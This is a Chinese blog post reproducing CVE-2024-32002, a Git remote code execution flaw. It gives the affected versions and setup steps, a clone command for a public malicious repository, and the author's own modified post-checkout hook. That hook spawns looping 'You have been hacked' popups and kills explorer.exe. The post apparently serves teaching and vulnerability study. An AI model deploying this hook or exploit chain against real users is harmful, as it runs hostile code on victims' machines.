CVE-2024-32002漏洞复现

CVE-2024-32002漏洞复现

漏洞概况

CVE-2024-32002 是在 Git 软件中发现的一个严重安全漏洞。该漏洞允许远程攻击者通过特制的 Git 仓库在受影响的系统上执行任意代码。此漏洞存在于 Git 处理特定仓库操作的过程中,由于缺乏对输入数据的充分验证,导致了远程代码执行(RCE)的风险。当用户使用管理员权限执行git clone克隆一个恶意仓库时,git中存在的漏洞会触发远程代码执行

攻击者可以创建恶意的仓库,诱导使用git的用户clone,从而在客户端执行任意的系统命令

受影响版本

  • version 2.45.*< 2.45.1
  • version 2.44.*< 2.44.1
  • version 2.43.*< 2.43.4
  • version 2.42.*< 2.42.2
  • version 2.41.*< 2.41.1
  • version 2.40.*< 2.40.2
  • version 2.39.*< 2.39.4

影响

成功利用此漏洞可能导致:

  • 远程代码执行(RCE) :攻击者能够在受影响的系统上执行任意代码。
  • 系统控制:攻击者可能获得受影响系统的完全控制权。
  • 数据泄露和篡改:未经授权的访问和修改敏感数据。
  • 进一步攻击:在受害者网络内发起进一步的攻击。

漏洞复现

1.准备存在漏洞的 Git 版本

https://github.com/git-for-windows/git/releases?page=7

我这里选择的是2.39.1版本,一直点击下一步进行安装

2.生成ssh密钥

ssh-keygen -t ed25519 -C "对应的邮箱"

3.使用more命令查看ssh公钥文件

image

4.在GitHub中配置ssh公钥

image

5.开启Git中的符号链接支持

管理员权限打开CMD,运行

git config --global core.symlinks true

环境配置完成

6.克隆恶意仓库,触发漏洞

git clone --recursive git@github.com:10cks/captain.git

计算器成功弹出复现成功

image

漏洞具体讲解

https://forum.butian.net/share/3040

一些修改

由于本人准备拿这个cve要给新生做一个技术演示,所以便将整体代码进行fork然后修改了post-checkout

将post-checkout修改过后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
#
# post-checkout hook: every time you git checkout, spawn the popup.vbs

# 先确保 vbs 文件存在
VB="$TEMP/popup.vbs"
cat > "$VB" <<'EOF'
Dim i
i = 1000
Do
response = MsgBox("You have been hacked. Exit now?", vbOKCancel + vbExclamation, "System Warning")
If response = vbCancel Then
i = i - 100
If i < 100 Then i = 100
ElseIf response = vbOK Then
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "taskkill /f /im explorer.exe", 0, False
WScript.Quit
End If
WScript.Sleep i
Loop
EOF

# 然后异步启动多份
for n in $(seq 1 10); do
# 在 Windows 下,用 cmd /c start 来让它跑在后台
cmd //C start "" wscript.exe "$VB"
sleep 1
done

效果为一直弹窗十次,点击确认便会杀掉桌面进程,取消则会加快弹窗速度


CVE-2024-32002漏洞复现
http://example.com/post/cve202432002-vulnerability-reappears-1a0e2n.html
作者
Dre4m
发布于
2025年7月20日
许可协议